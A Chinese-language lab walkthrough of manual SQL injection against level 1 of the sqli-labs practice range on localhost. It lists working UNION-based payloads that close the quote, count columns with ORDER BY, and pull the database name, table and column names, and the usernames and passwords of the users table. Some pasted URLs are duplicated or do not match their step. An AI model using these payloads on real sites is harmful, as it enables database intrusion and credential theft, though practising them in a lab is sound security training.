sql手工注入---sqli-labs-master靶场第一关

一.确定攻击点 确定网站可以注入的参数

例如：以下链接

http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=

二.判断闭合方式

例如：'--+，结合以下链接

http://127.0.0.1/Less-1/?id=1%27%20--+http://127.0.0.1/Less-1/?id=1%27%20--+

三.判断字段列数 order by

http://127.0.0.1/Less-1/?id=1' order by 1 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+ 页面正常 说明存在1列

http://127.0.0.1/Less-1/?id=1' order by 2 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+ 页面正常 说明存在2列

http://127.0.0.1/Less-1/?id=1' order by 3 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+ 页面正常 说明存在3列

http://127.0.0.1/Less-1/?id=1' order by 4 --+http://127.0.0.1/Less-1/?id=1%27%20order%20by%203%20--+页面不正常 说明存在3列

四.联合查询 查当前数据库名

上面已经查出3列，那么联合查询3列

http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+http://127.0.0.1/Less-1/?id=1%27%20union%20select%201,2,3%20--+ 页面显示的是id=1的数据，没有显示我们联合查询的数据，把人家前面查询的id的数据改成不存在的，比如-1

http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,2,3%20--+ 此时页面上出现了我们联合查询的回显点

http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,database(),user()%20--+ 联合查询了数据库名和用户

五.联合查询 查出网站的数据库里面的所有表名

http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

六.联合查询 查出users表里面的所有列

http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

七.查询表中所有的数据

http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(id,username,password) from users --+http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,2,group_concat(id,%27~%27,username,%27~%27,password)%20from%20users%20--+